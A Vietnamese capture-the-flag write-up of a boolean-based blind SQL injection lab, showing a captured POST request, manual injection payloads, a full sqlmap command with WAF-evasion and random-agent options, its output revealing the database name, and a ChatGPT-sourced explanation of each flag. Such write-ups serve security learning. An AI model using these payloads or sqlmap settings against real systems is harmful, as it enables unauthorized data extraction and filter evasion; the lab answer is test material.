Boolean-Based Blind SQL Injection Lab
- Đây là 1 bài lap khá là hay :)) , không nói đùa đâu , nó hay thật (Tôi nghĩ vậy !) .
- Ban đầu tôi tính dùng Brup Suite để fruteforce , tôi đã nghĩ đến việc tìm 1 wordlist tên database nào đó để bruteforce nhưng không có , Tôi lại nghĩ đến việc bruteforce từng chữ cái , nhưng có vẻ cực :)))) , giờ thì triển thôi:
___
__H__
___ ___[.]_____ ___ ___
|_ -| . ['] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_|
This lab contains is a SQL Injection vulnerability in the stock control function. Due to the business logic, only “available in stock” or “not available in stock” response is received from the server. To complete the lab, perform a Blind SQL Injection attack using these two possibilities and retrieve the database name. What is database name?
- Tôi thử truy cập trang web và thử các tùy chọn của nó thì nó không dùng truy vấn trên đường links . Thế là tôi tìm đến Brup Suite để đọc gói tin của nó , không thể không có gì để phân biệt được món hàng nào mà người dùng tìm . Kết quả là nó ấn biến search để truy vấn bên trong data gói tin .
POST / HTTP/1.1
Host: loved-killer-shrike.europe1.hackviser.space
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: https://loved-killer-shrike.europe1.hackviser.space
Referer: https://loved-killer-shrike.europe1.hackviser.space/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
search=iphone11
- Tôi thử ịnection cơ bản :
search=iphone11' and 1=1
search=iphone11' or 1=1
==> Có lổ hỏng Injection
- Tôi xuất gói tin ra tệp rq.txt . và dùng công cụ sqlmap (Hay ở đây , tôi cũng chưa biết được điều đó và được 1 người anh chỉ về nó)
sqlmap -r request.txt -p search --technique=B --current-db --batch \
--random-agent --risk=3 --level=5 --tamper=space2comment --delay=0.3 --timeout=30
- Kết quả sau khi chạy là :
┌─[✗]─[root@hackerbox]─[~]
└──╼ #sqlmap -r rq.txt -p search --technique=B --current-db --batch --random-agent --risk=3 --level=5 --tamper=space2comment --delay=0.3 --timeout=30
___
__H__
___ ___[.]_____ ___ ___ {1.9.9#stable}
|_ -| . ['] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 04:08:37 /2025-09-23/
[04:08:37] [INFO] parsing HTTP request from 'rq.txt'
[04:08:37] [INFO] loading tamper module 'space2comment'
[04:08:37] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[04:08:38] [INFO] resuming back-end DBMS 'mysql'
[04:08:38] [INFO] testing connection to the target URL
got a 301 redirect to 'https://loved-killer-shrike.europe1.hackviser.space/'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: search=iphone11' AND 3907=3907 AND 'GcWr'='GcWr
---
[04:08:38] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[04:08:38] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 8
[04:08:38] [INFO] fetching current database
[04:08:39] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[04:08:39] [INFO] retrieved: echo_store
current database: 'echo_store'
[04:09:04] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/loved-killer-shrike.europe1.hackviser.space'
[*] ending @ 04:09:04 /2025-09-23/
Thành phần và ý nghĩa (By ChatGPT)
sqlmap Công cụ tự động khai thác SQL Injection.
-r request.txt Dùng request HTTP thô đã lưu từ Burp (bao gồm headers, body, cookie, host…). Sqlmap sẽ re-play request đó và chèn payload vào tham số bạn chỉ định. Rất hữu ích cho POST form như bạn đang có.
-p search Chỉ định tham số phải test/inject là
search(thay vì để sqlmap dò mọi tham số). Giảm noise và nhanh hơn.—technique=B Chỉ dùng Boolean-based blind (kỹ thuật Boolean). Vì bạn POC thấy boolean-based hoạt động, nên bắt buộc sqlmap test theo kiểu này.
—current-db Yêu cầu sqlmap lấy tên database hiện tại (tương tự
SELECT database()), thay vì liệt kê toàn bộ DB. Nhanh và đúng mục tiêu lab.—batch Chạy tự động không hỏi tương tác (chấp nhận default options). Dùng cho script / one-liner.
—random-agent Thay User-Agent ngẫu nhiên để tránh một vài bộ lọc đơn giản dựa trên UA.
—risk=3 —level=5 Tăng độ “mạnh”/sâu các payload sqlmap sẽ thử:
levelđiều khiển số lượng tests,riskđiều khiển các payload có nguy cơ hơn.- Dùng
--level=5 --risk=3để sqlmap thử nhiều biến thể boolean (tăng khả năng tìm đúng payload).—tamper=space2comment Áp script tamper
space2commentđể biến khoảng trắng thành comment (hoặc tương tự) nhằm bypass một số filter/WAF. Bạn trong POC dùng comment kiểu##, tamper có thể giúp payload hợp lệ với filter. (Có thể thử thêmrandomcase,between, … nếu cần.)—delay=0.3 Nghỉ 0.3 giây giữa các request để giảm nguy cơ 500 / rate-limit / WAF. Có thể tăng nếu gặp lỗi 500.
—timeout=30 Timeout request 30s — tránh treo lâu nếu server chậm.
==> Tên database là : echo_store